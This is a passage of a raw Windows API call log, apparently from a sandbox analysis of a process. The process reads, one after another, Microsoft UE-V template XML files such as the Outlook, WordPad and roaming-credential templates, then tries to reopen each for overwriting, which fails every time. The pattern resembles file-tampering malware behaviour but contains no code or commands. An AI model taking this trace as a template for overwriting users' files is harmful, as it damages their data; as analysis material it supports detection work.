dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0079.282] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ea520) returned 1 [0079.283] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOutlook2016CAWin32.xml", nBufferLength=0x105, lpBuffer=0x1f9ed7b0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOutlook2016CAWin32.xml", lpFilePart=0x0) returned 0x4b [0079.283] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edc80) returned 1 [0079.283] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOutlook2016CAWin32.xml" (normalized: "c:\\programdata\\microsoft\\uev\\inboxtemplates\\microsoftoutlook2016cawin32.xml"), fInfoLevelId=0x0, lpFileInformation=0x32839f8 | out: lpFileInformation=0x32839f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79a9be83, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x79a9be83, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x79a9be83, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x509)) returned 1 [0079.283] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edc40) returned 1 [0079.283] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOutlook2016CAWin32.xml", nBufferLength=0x105, lpBuffer=0x1f9ed610, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOutlook2016CAWin32.xml", lpFilePart=0x0) returned 0x4b [0079.283] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edb30) returned 1 [0079.283] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOutlook2016CAWin32.xml" (normalized: "c:\\programdata\\microsoft\\uev\\inboxtemplates\\microsoftoutlook2016cawin32.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x790 [0079.283] GetFileType (hFile=0x790) returned 0x1 [0079.283] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edaa0) returned 1 [0079.283] GetFileType (hFile=0x790) returned 0x1 [0079.283] GetFileSize (in: hFile=0x790, lpFileSizeHigh=0x1f9edcd8 | out: lpFileSizeHigh=0x1f9edcd8*=0x0) returned 0x509 [0079.283] ReadFile (in: hFile=0x790, lpBuffer=0x3284200, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9edc08, lpOverlapped=0x0 | out: lpBuffer=0x3284200*, lpNumberOfBytesRead=0x1f9edc08*=0x509, lpOverlapped=0x0) returned 1 [0079.523] CloseHandle (hObject=0x790) returned 1 [0079.550] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOutlook2016CAWin32.xml", nBufferLength=0x105, lpBuffer=0x1f9ed610, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOutlook2016CAWin32.xml", lpFilePart=0x0) returned 0x4b [0079.550] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edb30) returned 1 [0079.550] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOutlook2016CAWin32.xml" (normalized: "c:\\programdata\\microsoft\\uev\\inboxtemplates\\microsoftoutlook2016cawin32.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0079.551] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ea520) returned 1 [0079.552] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOutlook2016CAWin64.xml", nBufferLength=0x105, lpBuffer=0x1f9ed7b0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOutlook2016CAWin64.xml", lpFilePart=0x0) returned 0x4b [0079.552] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edc80) returned 1 [0079.552] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOutlook2016CAWin64.xml" (normalized: "c:\\programdata\\microsoft\\uev\\inboxtemplates\\microsoftoutlook2016cawin64.xml"), fInfoLevelId=0x0, lpFileInformation=0x3484e10 | out: lpFileInformation=0x3484e10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79a9be83, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x79a9be83, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x79a9be83, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x509)) returned 1 [0079.552] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edc40) returned 1 [0079.552] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOutlook2016CAWin64.xml", nBufferLength=0x105, lpBuffer=0x1f9ed610, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOutlook2016CAWin64.xml", lpFilePart=0x0) returned 0x4b [0079.552] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edb30) returned 1 [0079.553] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOutlook2016CAWin64.xml" (normalized: "c:\\programdata\\microsoft\\uev\\inboxtemplates\\microsoftoutlook2016cawin64.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x790 [0079.553] GetFileType (hFile=0x790) returned 0x1 [0079.553] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edaa0) returned 1 [0079.553] GetFileType (hFile=0x790) returned 0x1 [0079.553] GetFileSize (in: hFile=0x790, lpFileSizeHigh=0x1f9edcd8 | out: lpFileSizeHigh=0x1f9edcd8*=0x0) returned 0x509 [0079.553] ReadFile (in: hFile=0x790, lpBuffer=0x3485618, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9edc08, lpOverlapped=0x0 | out: lpBuffer=0x3485618*, lpNumberOfBytesRead=0x1f9edc08*=0x509, lpOverlapped=0x0) returned 1 [0079.554] CloseHandle (hObject=0x790) returned 1 [0080.093] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOutlook2016CAWin64.xml", nBufferLength=0x105, lpBuffer=0x1f9ed610, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOutlook2016CAWin64.xml", lpFilePart=0x0) returned 0x4b [0080.093] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edb30) returned 1 [0080.093] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOutlook2016CAWin64.xml" (normalized: "c:\\programdata\\microsoft\\uev\\inboxtemplates\\microsoftoutlook2016cawin64.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0080.095] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ea520) returned 1 [0080.095] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftSkypeForBusiness2016Win32.xml", nBufferLength=0x105, lpBuffer=0x1f9ed7b0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftSkypeForBusiness2016Win32.xml", lpFilePart=0x0) returned 0x52 [0080.095] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edc80) returned 1 [0080.096] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftSkypeForBusiness2016Win32.xml" (normalized: "c:\\programdata\\microsoft\\uev\\inboxtemplates\\microsoftskypeforbusiness2016win32.xml"), fInfoLevelId=0x0, lpFileInformation=0x3463748 | out: lpFileInformation=0x3463748*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79ac20de, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x79ac20de, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x79ac20de, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xb4b)) returned 1 [0080.096] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edc40) returned 1 [0080.096] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftSkypeForBusiness2016Win32.xml", nBufferLength=0x105, lpBuffer=0x1f9ed610, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftSkypeForBusiness2016Win32.xml", lpFilePart=0x0) returned 0x52 [0080.096] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edb30) returned 1 [0080.096] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftSkypeForBusiness2016Win32.xml" (normalized: "c:\\programdata\\microsoft\\uev\\inboxtemplates\\microsoftskypeforbusiness2016win32.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x76c [0080.096] GetFileType (hFile=0x76c) returned 0x1 [0080.096] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edaa0) returned 1 [0080.096] GetFileType (hFile=0x76c) returned 0x1 [0080.096] GetFileSize (in: hFile=0x76c, lpFileSizeHigh=0x1f9edcd8 | out: lpFileSizeHigh=0x1f9edcd8*=0x0) returned 0xb4b [0080.096] ReadFile (in: hFile=0x76c, lpBuffer=0x34645d0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9edc08, lpOverlapped=0x0 | out: lpBuffer=0x34645d0*, lpNumberOfBytesRead=0x1f9edc08*=0xb4b, lpOverlapped=0x0) returned 1 [0080.099] CloseHandle (hObject=0x76c) returned 1 [0080.128] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftSkypeForBusiness2016Win32.xml", nBufferLength=0x105, lpBuffer=0x1f9ed610, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftSkypeForBusiness2016Win32.xml", lpFilePart=0x0) returned 0x52 [0080.129] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edb30) returned 1 [0080.129] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftSkypeForBusiness2016Win32.xml" (normalized: "c:\\programdata\\microsoft\\uev\\inboxtemplates\\microsoftskypeforbusiness2016win32.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0080.130] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ea520) returned 1 [0080.131] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftSkypeForBusiness2016Win64.xml", nBufferLength=0x105, lpBuffer=0x1f9ed7b0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftSkypeForBusiness2016Win64.xml", lpFilePart=0x0) returned 0x52 [0080.131] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edc80) returned 1 [0080.131] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftSkypeForBusiness2016Win64.xml" (normalized: "c:\\programdata\\microsoft\\uev\\inboxtemplates\\microsoftskypeforbusiness2016win64.xml"), fInfoLevelId=0x0, lpFileInformation=0x34dff48 | out: lpFileInformation=0x34dff48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79ac20de, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x79ac20de, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x79ac20de, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xb4b)) returned 1 [0080.342] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edc40) returned 1 [0080.342] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftSkypeForBusiness2016Win64.xml", nBufferLength=0x105, lpBuffer=0x1f9ed610, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftSkypeForBusiness2016Win64.xml", lpFilePart=0x0) returned 0x52 [0080.342] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edb30) returned 1 [0080.342] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftSkypeForBusiness2016Win64.xml" (normalized: "c:\\programdata\\microsoft\\uev\\inboxtemplates\\microsoftskypeforbusiness2016win64.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x79c [0080.342] GetFileType (hFile=0x79c) returned 0x1 [0080.343] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edaa0) returned 1 [0080.343] GetFileType (hFile=0x79c) returned 0x1 [0080.343] GetFileSize (in: hFile=0x79c, lpFileSizeHigh=0x1f9edcd8 | out: lpFileSizeHigh=0x1f9edcd8*=0x0) returned 0xb4b [0080.344] ReadFile (in: hFile=0x79c, lpBuffer=0x36b8dc0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9edc08, lpOverlapped=0x0 | out: lpBuffer=0x36b8dc0*, lpNumberOfBytesRead=0x1f9edc08*=0xb4b, lpOverlapped=0x0) returned 1 [0080.370] CloseHandle (hObject=0x79c) returned 1 [0080.476] SleepEx (dwMilliseconds=0x5, bAlertable=0) returned 0x0 [0081.118] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftSkypeForBusiness2016Win64.xml", nBufferLength=0x105, lpBuffer=0x1f9ed610, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftSkypeForBusiness2016Win64.xml", lpFilePart=0x0) returned 0x52 [0081.118] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edb30) returned 1 [0081.119] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftSkypeForBusiness2016Win64.xml" (normalized: "c:\\programdata\\microsoft\\uev\\inboxtemplates\\microsoftskypeforbusiness2016win64.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0081.120] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ea520) returned 1 [0081.121] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftWordpad.xml", nBufferLength=0x105, lpBuffer=0x1f9ed7b0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftWordpad.xml", lpFilePart=0x0) returned 0x40 [0081.121] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edc80) returned 1 [0081.121] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftWordpad.xml" (normalized: "c:\\programdata\\microsoft\\uev\\inboxtemplates\\microsoftwordpad.xml"), fInfoLevelId=0x0, lpFileInformation=0x32fdc60 | out: lpFileInformation=0x32fdc60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79ac20de, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x79ac20de, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x79ac20de, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x3ed)) returned 1 [0081.121] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edc40) returned 1 [0081.121] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftWordpad.xml", nBufferLength=0x105, lpBuffer=0x1f9ed610, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftWordpad.xml", lpFilePart=0x0) returned 0x40 [0081.121] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edb30) returned 1 [0081.121] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftWordpad.xml" (normalized: "c:\\programdata\\microsoft\\uev\\inboxtemplates\\microsoftwordpad.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x79c [0081.121] GetFileType (hFile=0x79c) returned 0x1 [0081.121] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edaa0) returned 1 [0081.121] GetFileType (hFile=0x79c) returned 0x1 [0081.122] GetFileSize (in: hFile=0x79c, lpFileSizeHigh=0x1f9edcd8 | out: lpFileSizeHigh=0x1f9edcd8*=0x0) returned 0x3ed [0081.122] ReadFile (in: hFile=0x79c, lpBuffer=0x32fe308, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9edc08, lpOverlapped=0x0 | out: lpBuffer=0x32fe308*, lpNumberOfBytesRead=0x1f9edc08*=0x3ed, lpOverlapped=0x0) returned 1 [0081.123] CloseHandle (hObject=0x79c) returned 1 [0081.870] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftWordpad.xml", nBufferLength=0x105, lpBuffer=0x1f9ed610, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftWordpad.xml", lpFilePart=0x0) returned 0x40 [0081.870] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edb30) returned 1 [0081.870] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftWordpad.xml" (normalized: "c:\\programdata\\microsoft\\uev\\inboxtemplates\\microsoftwordpad.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0081.872] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ea520) returned 1 [0081.872] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\NetworkPrinters.xml", nBufferLength=0x105, lpBuffer=0x1f9ed7b0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\NetworkPrinters.xml", lpFilePart=0x0) returned 0x3f [0081.872] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edc80) returned 1 [0081.872] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\NetworkPrinters.xml" (normalized: "c:\\programdata\\microsoft\\uev\\inboxtemplates\\networkprinters.xml"), fInfoLevelId=0x0, lpFileInformation=0x33886c8 | out: lpFileInformation=0x33886c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79a75c14, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x79a75c14, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x79a75c14, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x85f)) returned 1 [0081.874] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edc40) returned 1 [0081.874] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\NetworkPrinters.xml", nBufferLength=0x105, lpBuffer=0x1f9ed610, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\NetworkPrinters.xml", lpFilePart=0x0) returned 0x3f [0081.874] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edb30) returned 1 [0081.874] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\NetworkPrinters.xml" (normalized: "c:\\programdata\\microsoft\\uev\\inboxtemplates\\networkprinters.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0081.874] GetFileType (hFile=0x768) returned 0x1 [0081.874] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edaa0) returned 1 [0081.874] GetFileType (hFile=0x768) returned 0x1 [0081.874] GetFileSize (in: hFile=0x768, lpFileSizeHigh=0x1f9edcd8 | out: lpFileSizeHigh=0x1f9edcd8*=0x0) returned 0x85f [0081.874] ReadFile (in: hFile=0x768, lpBuffer=0x33891c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9edc08, lpOverlapped=0x0 | out: lpBuffer=0x33891c0*, lpNumberOfBytesRead=0x1f9edc08*=0x85f, lpOverlapped=0x0) returned 1 [0081.876] CloseHandle (hObject=0x768) returned 1 [0082.238] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\NetworkPrinters.xml", nBufferLength=0x105, lpBuffer=0x1f9ed610, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\NetworkPrinters.xml", lpFilePart=0x0) returned 0x3f [0082.238] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edb30) returned 1 [0082.238] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\NetworkPrinters.xml" (normalized: "c:\\programdata\\microsoft\\uev\\inboxtemplates\\networkprinters.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0082.240] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ea520) returned 1 [0082.240] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\RoamingCredentialSettings.xml", nBufferLength=0x105, lpBuffer=0x1f9ed7b0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\RoamingCredentialSettings.xml", lpFilePart=0x0) returned 0x49 [0082.240] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edc80) returned 1 [0082.241] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\RoamingCredentialSettings.xml" (normalized: "c:\\programdata\\microsoft\\uev\\inboxtemplates\\roamingcredentialsettings.xml"), fInfoLevelId=0x0, lpFileInformation=0x33a0e18 | out: lpFileInformation=0x33a0e18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79a75c14, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x79a75c14, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x79a75c14, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd59)) returned 1 [0082.244] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edc40) returned 1 [0082.244] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\RoamingCredentialSettings.xml", nBufferLength=0x105, lpBuffer=0x1f9ed610, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\RoamingCredentialSettings.xml", lpFilePart=0x0) returned 0x49 [0082.244] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edb30) returned 1 [0082.244] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\RoamingCredentialSettings.xml" (normalized: "c:\\programdata\\microsoft\\uev\\inboxtemplates\\roamingcredentialsettings.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x79c [0082.244] GetFileType (hFile=0x79c) returned 0x1 [0082.244] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edaa0) returned 1 [0082.245] GetFileType (hFile=0x79c) returned 0x1 [0082.245] GetFileSize (in: hFile=0x79c, lpFileSizeHigh=0x1f9edcd8 | out: lpFileSizeHigh=0x1f9edcd8*=0x0) returned 0xd59 [0082.245] ReadFile (in: hFile=0x79c, lpBuffer=0x33a1e70, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9edc08, lpOverlapped=0x0 | out: lpBuffer=0x33a1e70*, lpNumberOfBytesRead=0x1f9edc08*=0xd59, lpOverlapped=0x0) returned 1 [0082.246] CloseHandle (hObject=0x79c) returned 1 [0082.589] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\RoamingCredentialSettings.xml", nBufferLength=0x105, lpBuffer=0x1f9ed610, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\RoamingCredentialSettings.xml", lpFilePart=0x0) returned 0x49 [0082.589] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edb30) returned 1 [0082.589] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\RoamingCredentialSettings.xml" (normalized: "c:\\programdata\\microsoft\\uev\\inboxtemplates\\roamingcredentialsettings.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0082.591] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ea520) returned 1 [0082.591] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\ThemeSettings2013.xml", nBufferLength=0x105, lpBuffer=0x1f9ed7b0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\ThemeSettings2013.xml", lpFilePart=0x0) returned 0x41 [0082.592] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edc80) returned 1 [0082.592] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\ThemeSettings2013.xml" (normalized: "c:\\programdata\\microsoft\\uev\\inboxtemplates\\themesettings2013.xml"), fInfoLevelId=0x0, lpFileInformation=0x32a33a8 | out: lpFileInformation=0x32a33a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79a9be83, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x79a9be83, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x79a9be83, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa2e)) returned 1 [0082.592] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edc40) returned 1 [0082.592] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\ThemeSettings2013.xml", nBufferLength=0x105, lpBuffer=0x1f9ed610, lpFilePart=0x0 | out: 